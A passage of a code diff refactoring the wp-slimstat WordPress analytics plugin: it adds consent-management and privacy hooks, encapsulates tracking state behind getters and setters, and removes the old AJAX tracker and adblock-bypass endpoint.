'\u002Fsrc\u002FConstants.php';\n+\n+\n+\u002F**\n+ * Main Slimstat Analytics Class\n+ *\n+ * @package Wp_SlimStat\n+ *\n+ * @todo REFACTOR TRACKING STATE: The $data_js and $stat properties should be refactored into a\n+ *       proper state object pattern to maintain encapsulation. Currently these properties are\n+ *       public to support refactored tracker classes (SlimStat\\Tracker\\*), but this breaks\n+ *       encapsulation and creates security risks. Future implementation should:\n+ *       1. Create a TrackingState class to encapsulate state management\n+ *       2. Update all Tracker classes to use the state object\n+ *       3. Make properties protected or private\n+ *       4. Ensure all state modifications go through validated methods\n+ *       This is tracked as technical debt for version 6.0\n+ *\u002F\n+\n+\u002F\u002F Include Constants.php to make SLIMSTAT_ANALYTICS_DIR available to traits\n+require_once __DIR__ . '\u002Fsrc\u002FConstants.php';\n+\n class wp_slimstat\n {\n     public static $settings = [];\n@@ -42,16 +61,102 @@\n     public static $update_checker = [];\n     public static $raw_post_array = [];\n \n+    \u002F**\n+     * @var array Tracking data from JavaScript (for internal tracking use only)\n+     * @internal Use get_data_js() \u002F set_data_js() methods for controlled access.\n+     *\n+     * This property is now protected to maintain proper encapsulation and prevent external code\n+     * from bypassing consent checks or corrupting tracking state. All tracker classes use the\n+     * getter\u002Fsetter methods which include validation and filter hooks for GDPR compliance.\n+     *\u002F\n     protected static $data_js           = ['id' => 0];\n+\n+    \u002F**\n+     * @var array Current pageview tracking data (for internal tracking use only)\n+     * @internal Use get_stat() \u002F set_stat() methods for controlled access.\n+     *\n+     * This property is now protected to maintain proper encapsulation and prevent external code\n+     * from bypassing consent checks or corrupting tracking state. All tracker classes use the\n+     * getter\u002Fsetter methods which include validation and filter hooks for GDPR compliance.\n+     *\u002F\n     protected static $stat              = [];\n+\n     protected static $date_i18n_filters = [];\n \n     \u002F**\n+     * Gets the current data_js array (for internal tracking use only)\n+     *\n+     * @return array\n+     *\u002F\n+    public static function get_data_js()\n+    {\n+        return self::$data_js;\n+    }\n+\n+    \u002F**\n+     * Sets the data_js array (for internal tracking use only)\n+     *\n+     * This method provides controlled access to the data_js property and includes\n+     * basic validation to prevent tampering.\n+     *\n+     * @param array $data_js The tracking data from JavaScript\n+     * @return void\n+     * @internal For use by SlimStat tracking classes only\n+     *\u002F\n+    public static function set_data_js($data_js)\n+    {\n+        \u002F\u002F Validate that we're receiving an array\n+        if (!is_array($data_js)) {\n+            return;\n+        }\n+\n+        \u002F\u002F Apply filter to allow validation\u002Fmodification by consent management systems\n+        $data_js = apply_filters('slimstat_set_data_js', $data_js);\n+\n+        self::$data_js = $data_js;\n+    }\n+\n+    \u002F**\n+     * Gets the current stat array (for internal tracking use only)\n+     *\n+     * @return array Current tracking state\n+     * @internal For use by SlimStat tracking classes only\n+     *\u002F\n+    public static function get_stat()\n+    {\n+        return self::$stat;\n+    }\n+\n+    \u002F**\n+     * Sets the stat array (for internal tracking use only)\n+     *\n+     * This method provides controlled access to the stat property and includes\n+     * basic validation to prevent tampering and ensure consent compliance.\n+     *\n+     * @param array $stat The pageview tracking data\n+     * @return void\n+     * @internal For use by SlimStat tracking classes only\n+     *\u002F\n+    public static function set_stat($stat)\n+    {\n+        \u002F\u002F Validate that we're receiving an array\n+        if (!is_array($stat)) {\n+            return;\n+        }\n+\n+        \u002F\u002F Apply filter to allow validation\u002Fmodification by consent management systems\n+        \u002F\u002F This is critical for GDPR compliance - CMPs can inspect and modify data\n+        $stat = apply_filters('slimstat_set_stat', $stat);\n+\n+        self::$stat = $stat;\n+    }\n+\n+    \u002F**\n      * Initializes variables and actions\n      *\u002F\n     public static function init()\n     {\n-        \\SlimStat\\Providers\\RESTService::run();\n+        \\SlimStat\\Providers\\RestApiManager::run();\n \n         \u002F\u002F Load all the settings\n         if (is_network_admin() && (empty($_GET['page']) || false === strpos($_GET['page'], 'slimview'))) {\n@@ -68,7 +173,26 @@\n         self::$settings = array_merge(self::init_options(), self::$settings);\n \n         \u002F\u002F Allow third party tools to edit the options\n-        self::$settings = apply_filters('slimstat_init_options', self::$settings);\n+\t\tself::$settings = apply_filters('slimstat_init_options', self::$settings);\n+\n+\t\t$consent_integration = self::$settings['consent_integration'] ?? '';\n+\n+\t\t\u002F\u002F If WP Consent API is selected but the function doesn't exist, reset to default\n+\t\tif ('wp_consent_api' === $consent_integration && !function_exists('wp_has_consent')) {\n+\t\t\t$consent_integration = '';\n+\t\t\tself::$settings['consent_integration'] = '';\n+\t\t}\n+\n+\t\tif ('' === $consent_integration && ('on' === (self::$settings['use_slimstat_banner'] ?? 'off'))) {\n+\t\t\t$consent_integration = 'slimstat_banner';\n+\t\t\tself::$settings['consent_integration'] = $consent_integration;\n+\t\t}\n+\n+\t\tif ('slimstat_banner' === $consent_integration) {\n+\t\t\tself::$settings['use_slimstat_banner'] = 'on';\n+\t\t} else {\n+\t\t\tself::$settings['use_slimstat_banner'] = 'off';\n+\t\t}\n \n         \u002F\u002F Allow third-party tools to use a custom database for Slimstat\n         self::$wpdb = apply_filters('slimstat_custom_wpdb', $GLOBALS['wpdb']);\n@@ -100,10 +224,10 @@\n \n             \u002F\u002F Is server-side tracking active?\n             if ('on' != self::$settings['javascript_mode']) {\n-                add_action(is_admin() ? 'admin_init' : 'wp', [self::class, 'slimtrack'], 5);\n+                add_action(is_admin() ? 'admin_init' : 'wp', [\\SlimStat\\Tracker\\Tracker::class, 'slimtrack'], 5);\n \n                 if ('on' != self::$settings['ignore_wp_users']) {\n-                    add_action('login_init', [self::class, 'slimtrack'], 10);\n+                    add_action('login_init', [\\SlimStat\\Tracker\\Tracker::class, 'slimtrack'], 10);\n                 }\n             }\n \n@@ -113,24 +237,66 @@\n                 add_action('login_enqueue_scripts', [self::class, 'enqueue_tracker'], 10);\n             }\n \n-            add_filter('script_loader_tag', [self::class, 'add_defer_to_script_tag'], 10, 2);\n+\t\t\tadd_filter('script_loader_tag', [self::class, 'add_defer_to_script_tag'], 10, 2);\n+\t\t}\n+\n+\t\t$banner_enabled = ('on' === (self::$settings['use_slimstat_banner'] ?? 'off'));\n+\t\tif ($banner_enabled) {\n+\t\t\tadd_action('wp_enqueue_scripts', [self::class, 'enqueue_gdpr_assets'], 20);\n+\t\t\tadd_action('login_enqueue_scripts', [self::class, 'enqueue_gdpr_assets'], 20);\n+\t\t\tadd_action('wp_footer', [self::class, 'render_gdpr_banner'], 5);\n+\t\t\tadd_action('login_footer', [self::class, 'render_gdpr_banner'], 5);\n+\t\t}\n+\n+        \u002F\u002F Registers Slimstat with WP Consent API if enabled in plugin settings\n+        if ((self::$settings['consent_integration'] ?? '') === 'wp_consent_api') {\n+            \u002F\u002F Check if WP Consent API plugin is actually active\n+            if (function_exists('wp_has_consent')) {\n+                $plugin = plugin_basename(SLIMSTAT_FILE);\n+                add_filter(\"wp_consent_api_registered_{$plugin}\", '__return_true');\n+\n+                \u002F\u002F Register cookie info with WP Consent API for CMP display\n+                if (function_exists('wp_add_cookie_info')) {\n+                    wp_add_cookie_info(\n+                        'slimstat_tracking_code',\n+                        'SlimStat Analytics',\n+                        'statistics',\n+                        intval(self::$settings['session_duration'] ?? 1800) . ' ' . __('seconds', 'wp-slimstat'),\n+                        __('Session cookie that identifies returning visitors for analytics.', 'wp-slimstat'),\n+                        '',\n+                        false,\n+                        false\n+                    );\n+                }\n+            }\n         }\n \n+        \u002F\u002F Register WordPress Privacy API exporters and erasers (GDPR Article 15 & 17)\n+        add_filter('wp_privacy_personal_data_exporters', [\\SlimStat\\Services\\Privacy\\DataExporter::class, 'registerExporters']);\n+        add_filter('wp_privacy_personal_data_erasers', [\\SlimStat\\Services\\Privacy\\DataEraser::class, 'registerErasers']);\n+\n+        \u002F\u002F Register privacy policy content\n+        add_action('admin_init', [self::class, 'registerPrivacyPolicyContent']);\n+\n+        \u002F\u002F Register AJAX handlers for consent upgrade\u002Frevocation (anonymous tracking mode)\n+        \\SlimStat\\Services\\Privacy\\ConsentHandler::registerAjaxHandlers();\n+\n         \u002F\u002F Hook a DB clean-up routine to the daily cronjob\n         add_action('wp_slimstat_purge', [self::class, 'wp_slimstat_purge']);\n \n+        \u002F\u002F Hook IP hashing daily salt generation (for GDPR compliance)\n+        add_action('wp_slimstat_generate_daily_salt', [\\SlimStat\\Providers\\IPHashProvider::class, 'generateDailySalt']);\n+\n         \u002F\u002F Hook a GeoIP database update routine to the daily cronjob\n         add_action('wp_slimstat_update_geoip_database', [self::class, 'wp_slimstat_update_geoip_database']);\n \n         \u002F\u002F Allow external domains on CORS requests\n         add_filter('allowed_http_origins', [self::class, 'open_cors_admin_ajax']);\n \n-        \u002F\u002F GDPR: Opt-out Ajax Handler\n-        add_action('wp_ajax_slimstat_optout_html', [self::class, 'get_optout_html']);\n-        add_action('wp_ajax_nopriv_slimstat_optout_html', [self::class, 'get_optout_html']);\n+        \u002F\u002F Internal GDPR banner\u002Fconsent handling removed. Use external CMP plugins.\n \n         \u002F\u002F If this request was a redirect, we should update the content type accordingly\n-        add_filter('wp_redirect_status', [self::class, 'update_content_type'], 10, 2);\n+        add_filter('wp_redirect_status', [\\SlimStat\\Tracker\\Tracker::class, 'update_content_type'], 10, 2);\n \n         \u002F\u002F Shortcodes\n         add_shortcode('slimstat', [self::class, 'slimstat_shortcode'], 15);\n@@ -141,13 +307,8 @@\n         \u002F\u002F REST API Support\n         add_action('rest_api_init', [self::class, 'register_rest_route']);\n \n-        \u002F\u002F Rewrite rule for static tracker\n-        add_action('init', [self::class, 'rewrite_rule_tracker']);\n-        add_action('template_redirect', [self::class, 'adblocker_javascript']);\n-\n         \u002F\u002F Load the admin library\n         if (is_user_logged_in()) {\n-            include_once(plugin_dir_path(__FILE__) . 'src\u002FConstants.php');\n             include_once(plugin_dir_path(__FILE__) . 'admin\u002Findex.php');\n             add_action('init', ['wp_slimstat_admin', 'init'], 60);\n         }\n@@ -155,199 +316,14 @@\n     \u002F\u002F end init\n \n     \u002F**\n-     * Reads and processes the data received by the XHR tracker\n+     * Load plugin textdomain\n+     *\n+     * @return void\n      *\u002F\n-    public static function slimtrack_ajax()\n+    public static function load_textdomain()\n     {\n-        \u002F\u002F If the website is using a caching plugin, the tracking code might still be there, even if the user turned off tracking\n-        if ('on' != self::$settings['is_tracking']) {\n-            exit(self::_log_error(204));\n-        }\n-\n-        $id = 0;\n-\n-        self::$data_js = apply_filters('slimstat_filter_pageview_data_js', self::$raw_post_array);\n-        $site_host     = parse_url(get_site_url(), PHP_URL_HOST);\n-\n-        self::$stat['referer'] = '';\n-        if (!empty(self::$data_js['ref'])) {\n-            self::$stat['referer'] = self::_base64_url_decode(self::$data_js['ref']);\n-\n-            $parsed_ref = parse_url(self::$stat['referer'], PHP_URL_HOST);\n-            if (false === $parsed_ref) {\n-                exit(self::_log_error(201));\n-            }\n-        }\n-\n-        \u002F\u002F Do we have an id for this request? If we do, we are either updating an existing pageview, or recording an event on the page\n-        if (!empty(self::$data_js['id'])) {\n-\n-            \u002F\u002F Make sure that the control code is valid\n-            self::$data_js['id'] = self::_get_value_without_checksum(self::$data_js['id']);\n-\n-            if (false === self::$data_js['id']) {\n-                exit(self::_log_error(101));\n-            }\n-\n-            self::$stat['id'] = intval(self::$data_js['id']);\n-            if (self::$stat['id'] \u003C 0) {\n-                do_action('slimstat_track_exit_' . abs(self::$stat['id']));\n-                exit(self::_get_value_with_checksum(self::$stat['id']));\n-            }\n-\n-            \u002F\u002F If self::$data_js[ 'pos' ] is empty, update an existing pageview with client-based information (resolution, server latency, etc)\n-            if (empty(self::$data_js['pos'])) {\n-                self::_set_visit_id(true);\n-\n-                \u002F\u002F Retrieves all the client-side info (screen resolution, server latency, etc) and sets the corresponding entries in self::$stat\n-                self::$stat = self::_get_client_info(self::$data_js, self::$stat);\n-\n-                \u002F\u002F Visitor is still on this page, record the timestamp in the corresponding field if this WAS NOT a request to update a \"server-side\" pageview with client-side info\n-                if (empty(self::$stat['resolution'])) {\n-                    \u002F\u002F Heartbeat \u002F finalize update of dt_out\n-                    if (!empty(self::$data_js['hb'])) {\n-                        \u002F\u002F Use provided ts if valid, else current time\n-                        $heartbeat_ts = 0;\n-                        if (!empty(self::$data_js['ts'])) {\n-                            $heartbeat_ts = intval(self::$data_js['ts']);\n-                        }\n-                        if ($heartbeat_ts > 0 && $heartbeat_ts \u003C= (time() + 300)) { \u002F\u002F sanity: not too far future\n-                            self::$stat['dt_out'] = $heartbeat_ts;\n-                        } else {\n-                            self::$stat['dt_out'] = self::date_i18n('U');\n-                        }\n-                    } else {\n-                        self::$stat['dt_out'] = self::date_i18n('U');\n-                    }\n-                }\n-\n-                \u002F\u002F Is this a new visitor, based on his fingerprint?\n-                if (!empty(self::$stat['fingerprint']) && self::_is_new_visitor(self::$stat['fingerprint'])) {\n-                    self::$stat['notes'] = ['new:yes'];\n-                }\n-\n-                $id = self::_update_row(self::$stat);\n-            } \u002F\u002F ... otherwise, is this an event: a click on a link (maybe a 'download'?) or other user action\n-            else {\n-                \u002F\u002F Record the event\n-                $event_info = [\n-                    'position' => strip_tags(trim(self::$data_js['pos'])),\n-                    'id'       => self::$stat['id'],\n-                    'dt'       => self::date_i18n('U'),\n-                ];\n-\n-                if (!empty(self::$data_js['no'])) {\n-                    $event_info['notes'] = self::_base64_url_decode(self::$data_js['no']);\n-                }\n-\n-                \u002F**\n-                 * Allow third-party tools to decide whether to track this event or not\n-                 *\n-                 * @param bool  $shouldEventBeTracked\n-                 * @param array $event_info\n-                 *\n-                 * @return bool\n-                 *\n-                 * @since 5.2.6\n-                 *\u002F\n-                $shouldEventBeTracked = apply_filters('slimstat_track_event_enabled', true, $event_info);\n-\n-                if ($shouldEventBeTracked) {\n-                    self::_insert_row($event_info, $GLOBALS['wpdb']->prefix . 'slim_events');\n-                }\n-\n-                if (!empty(self::$data_js['res'])) {\n-                    $resource        = self::_base64_url_decode(self::$data_js['res']);\n-                    $parsed_resource = parse_url($resource);\n-\n-                    if (false === $parsed_resource || empty($parsed_resource['host'])) {\n-                        exit(self::_log_error(203));\n-                    }\n-\n-                    \u002F\u002F Is this a download? If it is, add a new record to the database\n-                    if (!empty($parsed_resource['path']) && in_array(pathinfo($parsed_resource['path'], PATHINFO_EXTENSION), self::string_to_array(self::$settings['extensions_to_track']))) {\n-                        self::$stat['resource']     = $parsed_resource['path'] . (empty($parsed_resource['query']) ? '' : '?' . $parsed_resource['query']);\n-                        self::$stat['content_type'] = 'download';\n-\n-                        if (!empty(self::$data_js['fh'])) {\n-                            self::$stat['fingerprint'] = sanitize_text_field(self::$data_js['fh']);\n-                        }\n-\n-                        $id = self::slimtrack();\n-                    } \u002F\u002F .. or outbound link? If so, update the pageview with the new info\n-                    elseif ($parsed_resource['host'] != $site_host) {\n-                        self::$stat['outbound_resource'] = sanitize_url($resource);\n-\n-                        \u002F\u002F Visitor is still on this page, record the timestamp in the corresponding field\n-                        self::$stat['dt_out'] = self::date_i18n('U');\n-\n-                        $id = self::_update_row(self::$stat);\n-                    }\n-                } else {\n-                    \u002F\u002F Visitor is still on this page, record the timestamp in the corresponding field\n-                    self::$stat['dt_out'] = self::date_i18n('U');\n-\n-                    $id = self::_update_row(self::$stat);\n-                }\n-            }\n-        } \u002F\u002F If self::$data_js[ 'id' ] is empty, we are tracking a new pageview\n-        else {\n-            self::$stat['resource'] = '';\n-            if (!empty(self::$data_js['res'])) {\n-                self::$stat['resource'] = self::_base64_url_decode(self::$data_js['res']);\n-\n-                if (false === parse_url(self::$stat['resource'])) {\n-                    exit(self::_log_error(203));\n-                }\n-            }\n-\n-            \u002F\u002F Retrieves all the client-side info (screen resolution, server latency, etc) and sets the corresponding entries in self::$stat\n-            self::$stat = self::_get_client_info(self::$data_js, self::$stat);\n-\n-            if (!empty(self::$data_js['ci'])) {\n-                self::$data_js['ci'] = self::_get_value_without_checksum(self::$data_js['ci']);\n-\n-                if (false === self::$data_js['ci']) {\n-                    exit(self::_log_error(102));\n-                }\n-\n-                $content_info = @unserialize(self::_base64_url_decode(self::$data_js['ci']));\n-\n-                if (empty($content_info) || !is_array($content_info)) {\n-                    exit(self::_log_error(103));\n-                }\n-\n-                foreach (['content_type', 'category', 'content_id', 'author'] as $a_key) {\n-                    if (!empty($content_info[$a_key]) && 'content_id' !== $a_key) {\n-                        self::$stat[$a_key] = sanitize_text_field($content_info[$a_key]);\n-                    } elseif (!empty($content_info[$a_key])) {\n-                        self::$stat[$a_key] = absint($content_info[$a_key]);\n-                    }\n-                }\n-            } \u002F\u002F ... otherwise we'll track this as an external page\n-            else {\n-                self::$stat['content_type'] = 'external';\n-            }\n-\n-            \u002F\u002F Is this a new visitor, based on his fingerprint?\n-            if (!empty(self::$stat['fingerprint']) && self::_is_new_visitor(self::$stat['fingerprint'])) {\n-                self::$stat['notes'] = ['new:yes'];\n-            }\n-\n-            \u002F\u002F Track the rest of the information related to this pageview\n-            $id = self::slimtrack();\n-        }\n-\n-        \u002F\u002F Was this pageview tracked?\n-        if (empty($id)) {\n-            exit(0);\n-        }\n-\n-        \u002F\u002F Send the ID back to Javascript to track future interactions\n-        do_action('slimstat_track_success');\n-        exit(self::_get_value_with_checksum($id));\n+        load_plugin_textdomain('wp-slimstat', false, '\u002Fwp-slimstat\u002Flanguages');\n     }\n-    \u002F\u002F end slimtrack_ajax\n \n     \u002F**\n      * The main logging function\n@@ -372,442 +348,6 @@\n     }\n \n     \u002F**\n-     * Rewrite rule for static tracker\n-     *\u002F\n-    public static function rewrite_rule_tracker()\n-    {\n-        if ('adblock_bypass' === (self::$settings['tracking_request_method'] ?? 'rest')) {\n-            add_rewrite_tag('%slimstat_tracker%', '([a-f0-9]{32})');\n-            add_rewrite_rule(\n-                '^([a-f0-9]{32})\\\\.js$',\n-                'index.php?slimstat_tracker=$matches[1]',\n-                'top'\n-            );\n-        }\n-    }\n-\n-    \u002F**\n-     * Function to detect if Adblock is enabled and serve the JS tracker\n-     *\u002F\n-    public static function adblocker_javascript()\n-    {\n-        \u002F\u002F Only handle the tracker JS endpoint if adblock bypass is enabled\n-        if ('adblock_bypass' !== (self::$settings['tracking_request_method'] ?? 'rest')) {\n-            return;\n-        }\n-\n-        $tracker_hash = get_query_var('slimstat_tracker');\n-        if ($tracker_hash && $tracker_hash === md5(site_url() . 'slimstat')) {\n-            \u002F\u002F Set the content type to JavaScript\n-            header('Content-Type: application\u002Fjavascript');\n-\n-            \u002F\u002F Set caching headers for one year\n-            header('Cache-Control: public, max-age=31536000');\n-            header('Expires: ' . gmdate('D, d M Y H:i:s', time() + 31536000) . ' GMT');\n-\n-            $js_path          = plugin_dir_path(__FILE__) . '\u002Fwp-slimstat.min.js';\n-\n-            if (file_exists($js_path)) {\n-                readfile($js_path);\n-                exit;\n-            } else {\n-                status_header(404);\n-                echo '\u002F\u002F Tracker not found';\n-                exit;\n-            }\n-        }\n-    }\n-\n-    \u002F**\n-     * THE Slimstat tracker\n-     *\u002F\n-    public static function slimtrack()\n-    {\n-        self::$stat['dt'] = self::date_i18n('U');\n-\n-        if (empty(self::$stat['notes'])) {\n-            self::$stat['notes'] = [];\n-        }\n-\n-        \u002F\u002F Allow third-party tools to initialize the stat array\n-        self::$stat = apply_filters('slimstat_filter_pageview_stat_init', self::$stat);\n-\n-        \u002F\u002F Third-party tools can decide that this pageview should not be tracked, by setting its datestamp to zero\n-        if (empty(self::$stat) || empty(self::$stat['dt'])) {\n-            return false;\n-        }\n-\n-        \u002F\u002F Reset the pageview ID, if it's set for some obscure reason\n-        unset(self::$stat['id']);\n-\n-        \u002F\u002F Opt-out of tracking via cookie\n-        if ('on' == self::$settings['display_opt_out']) {\n-            $cookie_names = ['slimstat_optout_tracking' => 'true'];\n-\n-            if (!empty(self::$settings['opt_out_cookie_names'])) {\n-                $cookie_names = [];\n-\n-                foreach (self::string_to_array(self::$settings['opt_out_cookie_names']) as $a_cookie_pair) {\n-                    [$name, $value] = explode('=', $a_cookie_pair);\n-\n-                    if ('' !== $name && '0' !== $name && ('' !== $value && '0' !== $value)) {\n-                        $cookie_names[$name] = $value;\n-                    }\n-                }\n-            }\n-\n-            foreach ($cookie_names as $a_name => $a_value) {\n-                if (isset($_COOKIE[$a_name]) && false !== strpos($_COOKIE[$a_name], $a_value)) {\n-                    \u002F\u002F remove slimstat cookie\n-                    unset($_COOKIE['slimstat_tracking_code']);\n-                    @setcookie(\n-                        'slimstat_tracking_code',\n-                        '',\n-                        ['expires' => time() - (15 * 60), 'path' => COOKIEPATH]\n-                    );\n-                    return false;\n-                }\n-            }\n-        }\n-\n-        \u002F\u002F Opt-in tracking via cookie (only those who have a cookie will be tracked)\n-        if (!empty(self::$settings['opt_in_cookie_names'])) {\n-            $cookie_names        = [];\n-            $opt_in_cookie_names = self::string_to_array(self::$settings['opt_in_cookie_names']);\n-\n-            foreach ($opt_in_cookie_names as $a_cookie_pair) {\n-                [$name, $value] = explode('=', $a_cookie_pair);\n-\n-                if ('' !== $name && '0' !== $name && ('' !== $value && '0' !== $value)) {\n-                    $cookie_names[$name] = $value;\n-                }\n-            }\n-\n-            $cookie_found = false;\n-            foreach ($cookie_names as $a_name => $a_value) {\n-                if (isset($_COOKIE[$a_name]) && false !== strpos($_COOKIE[$a_name], $a_value)) {\n-                    $cookie_found = true;\n-                }\n-            }\n-\n-            if (!$cookie_found) {\n-                \u002F\u002F remove slimstat cookie\n-                unset($_COOKIE['slimstat_tracking_code']);\n-                @setcookie(\n-                    'slimstat_tracking_code',\n-                    '',\n-                    ['expires' => time() - (15 * 60), 'path' => COOKIEPATH]\n-                );\n-                return false;\n-            }\n-        }\n-\n-        \u002F\u002F IP address\n-        [self::$stat['ip'], self::$stat['other_ip']] = self::_get_remote_ip();\n-\n-        if (empty(self::$stat['ip']) || '0.0.0.0' == self::$stat['ip']) {\n-            $error = self::_log_error(202);\n-            return false;\n-        }\n-\n-        \u002F\u002F Should we ignore this IP address?\n-        foreach (self::string_to_array(self::$settings['ignore_ip']) as $a_ip_range) {\n-            $ip_to_ignore = $a_ip_range;\n-\n-            if (false !== strpos($ip_to_ignore, '\u002F')) {\n-                [$ip_to_ignore, $cidr_mask] = explode('\u002F', trim($ip_to_ignore));\n-            } else {\n-                $cidr_mask = self::_get_mask_length($ip_to_ignore);\n-            }\n-\n-            $long_masked_ip_to_ignore  = substr(self::_dtr_pton($ip_to_ignore), 0, $cidr_mask);\n-            $long_masked_user_ip       = substr(self::_dtr_pton(self::$stat['ip']), 0, $cidr_mask);\n-            $long_masked_user_other_ip = substr(self::_dtr_pton(self::$stat['other_ip']), 0, $cidr_mask);\n-\n-            if ($long_masked_user_ip === $long_masked_ip_to_ignore || $long_masked_user_other_ip === $long_masked_ip_to_ignore) {\n-                return false;\n-            }\n-        }\n-\n-        \u002F\u002F Do we need to anonymize this IP address?\n-        if ('on' == self::$settings['anonymize_ip']) {\n-            self::$stat['ip'] = wp_privacy_anonymize_ip(self::$stat['ip']);\n-\n-            if (!empty(self::$stat['other_ip'])) {\n-                self::$stat['other_ip'] = wp_privacy_anonymize_ip(self::$stat['other_ip']);\n-            }\n-        }\n-\n-        \u002F\u002F Resource URL\n-        if (!isset(self::$stat['resource'])) {\n-            self::$stat['resource'] = self::get_request_uri();\n-        }\n-\n-        \u002F\u002F Decode the URL and sanitize it to ensure it's safe and properly formatted\n-        self::$stat['resource'] = sanitize_text_field(urldecode(self::$stat['resource']));\n-\n-        \u002F\u002F Re-encode non-ASCII chars, preserving ASCII and slashes for backwards compatibility\n-        self::$stat['resource'] = preg_replace_callback('\u002F[^\\x20-\\x7E]\u002F', fn ($match) => '%' . bin2hex($match[0]), self::$stat['resource']);\n-\n-        \u002F\u002F Is this a 'seriously malformed' URL?\n-        $parsed_url = parse_url(self::$stat['resource']);\n-        if (!$parsed_url) {\n-            $error = self::_log_error(203);\n-            return false;\n-        }\n-\n-        \u002F\u002F Don't store the domain name in the database\n-        self::$stat['resource'] = $parsed_url['path'] . (empty($parsed_url['query']) ? '' : '?' . $parsed_url['query']) . (empty($parsed_url['fragment']) ? '' : '#' . $parsed_url['fragment']);\n-\n-        \u002F\u002F Is this resource blacklisted?\n-        if (!empty(self::$settings['ignore_resources']) && self::_is_blacklisted(self::$stat['resource'], self::$settings['ignore_resources'])) {\n-            return false;\n-        }\n-\n-        \u002F\u002F Referrer URL\n-        if (empty(self::$stat['referer']) && !empty($_SERVER['HTTP_REFERER'])) {\n-            self::$stat['referer'] = sanitize_url(wp_unslash($_SERVER['HTTP_REFERER']));\n-        }\n-\n-        if (!empty(self::$stat['referer'])) {\n-            \u002F\u002F Is this a 'seriously malformed' URL?\n-            $parsed_url = parse_url(self::$stat['referer']);\n-            if (!$parsed_url) {\n-                $error = self::_log_error(201);\n-                return false;\n-            }\n-\n-            if (isset($parsed_url['scheme']) && ('' !== $parsed_url['scheme'] && '0' !== $parsed_url['scheme']) && !in_array(strtolower($parsed_url['scheme']), ['http', 'https', 'android-app'])) {\n-                self::$stat['notes'][] = sprintf(__('Attempted XSS Injection: %s', 'wp-slimstat'), self::$stat['referer']);\n-                unset(self::$stat['referer']);\n-            }\n-\n-            \u002F\u002F Is this referer blacklisted?\n-            if (!empty(self::$settings['ignore_referers']) && self::_is_blacklisted(self::$stat['referer'], self::$settings['ignore_referers'])) {\n-                return false;\n-            }\n-\n-            \u002F\u002F Search terms\n-            self::$stat['searchterms'] = self::_get_search_terms(self::$stat['referer']);\n-\n-            \u002F\u002F Are we storing internal referrers in the database?\n-            $parsed_site_url = parse_url(get_site_url(), PHP_URL_HOST);\n-            if (isset($parsed_url['host']) && ('' !== $parsed_url['host'] && '0' !== $parsed_url['host']) && $parsed_url['host'] == $parsed_site_url && 'on' != self::$settings['track_same_domain_referers']) {\n-                unset(self::$stat['referer']);\n-            }\n-        }\n-\n-        \u002F\u002F Internal WP search?\n-        if (empty(self::$stat['searchterms']) && !empty($_POST['s'])) {\n-            self::$stat['searchterms'] = sanitize_text_field(str_replace('\\\\', '', $_REQUEST['s']));\n-        }\n-\n-        \u002F\u002F If this function was called by the js tracker (client mode), we've already determined this pageview's content information\n-        if (!isset(self::$stat['content_type'])) {\n-            $content_info = self::_get_content_info();\n-\n-            \u002F\u002F Is this content type blacklisted?\n-            if (!empty(self::$settings['ignore_content_types']) && self::_is_blacklisted($content_info['content_type'], self::$settings['ignore_content_types'])) {\n-                return false;\n-            }\n-\n-            if (is_array($content_info)) {\n-                self::$stat += $content_info;\n-            }\n-        }\n-\n-        \u002F\u002F Number of results from query_posts\n-        if ((is_archive() || is_search()) && !empty($GLOBALS['wp_query']->found_posts)) {\n-            self::$stat['notes'][] = 'results:' . intval($GLOBALS['wp_query']->found_posts);\n-        }\n-\n-        \u002F\u002F Do not track report pages in the admin\n-        if ((!empty(self::$stat['resource']) && false !== strpos(self::$stat['resource'], 'wp-admin\u002Fadmin-ajax.php')) || (!empty($_GET['page']) && false !== strpos($_GET['page'], 'slimview'))) {\n-            return false;\n-        }\n-\n-        \u002F\u002F Should we ignore this user?\n-        if (!empty($GLOBALS['current_user']->ID)) {\n-            \u002F\u002F Don't track logged-in users, if the corresponding option is enabled\n-            if ('on' == self::$settings['ignore_wp_users']) {\n-                return false;\n-            }\n-\n-            \u002F\u002F Don't track users with given capabilities\n-            foreach ($GLOBALS['current_user']->roles as $a_capability) {\n-                if (self::_is_blacklisted($a_capability, self::$settings['ignore_capabilities'])) {\n-                    return false;\n-                }\n-            }\n-\n-            \u002F\u002F Is this user blacklisted?\n-            if (!empty(self::$settings['ignore_users']) && self::_is_blacklisted($GLOBALS['current_user']->data->user_login, self::$settings['ignore_users'])) {\n-                return false;\n-            }\n-\n-            self::$stat['username'] = $GLOBALS['current_user']->data->user_login;\n-            self::$stat['email']    = $GLOBALS['current_user']->data->user_email;\n-            self::$stat['notes'][]  = 'user:' . $GLOBALS['current_user']->data->ID;\n-            $not_spam               = true;\n-        } elseif (isset($_COOKIE['comment_author_' . COOKIEHASH])) {\n-            \u002F\u002F Is this a spammer?\n-            $spam_comment = self::$wpdb->get_row(self::$wpdb->prepare('\n-                SELECT comment_author, comment_author_email, COUNT(*) comment_count\n-                FROM `' . DB_NAME . \"`.{$GLOBALS['wpdb']->comments}\n-                WHERE comment_author_IP = %s AND comment_approved = 'spam'\n-                GROUP BY comment_author\n-                LIMIT 0,1\", self::$stat['ip']), ARRAY_A);\n-\n-            if (!empty($spam_comment['comment_count'])) {\n-                if ('on' == self::$settings['ignore_spammers']) {\n-                    return false;\n-                } else {\n-                    self::$stat['notes'][]  = 'spam:yes';\n-                    self::$stat['username'] = $spam_comment['comment_author'];\n-                    self::$stat['email']    = $spam_comment['comment_author_email'];\n-                }\n-            } else {\n-                if (!empty($_COOKIE['comment_author_' . COOKIEHASH])) {\n-                    self::$stat['username'] = sanitize_user($_COOKIE['comment_author_' . COOKIEHASH]);\n-                }\n-                if (!empty($_COOKIE['comment_author_email_' . COOKIEHASH])) {\n-                    self::$stat['email'] = sanitize_email($_COOKIE['comment_author_email_' . COOKIEHASH]);\n-                }\n-            }\n-        }\n-\n-        \u002F\u002F Language\n-        self::$stat['language'] = self::_get_language();\n-\n-        \u002F\u002F Is this language blacklisted?\n-        if (!empty(self::$stat['language']) && !empty(self::$settings['ignore_languages']) && false !== stripos(self::$settings['ignore_languages'], (string) self::$stat['language'])) {\n-            return false;\n-        }\n-\n-        \u002F\u002F Geolocation\n-        $geographicProvider = new \\SlimStat\\Services\\GeoService();\n-        if ($geographicProvider->isGeoIPEnabled()) {\n-            try {\n-                $geolocation_data = \\SlimStat\\Services\\GeoIP::loader(self::$stat['ip']);\n-            } catch (Exception $e) {\n-                self::_log_error(205);\n-                return false;\n-            }\n-\n-            if (!empty($geolocation_data['country']['iso_code']) && 'xx' != $geolocation_data['country']['iso_code']) {\n-                self::$stat['country'] = 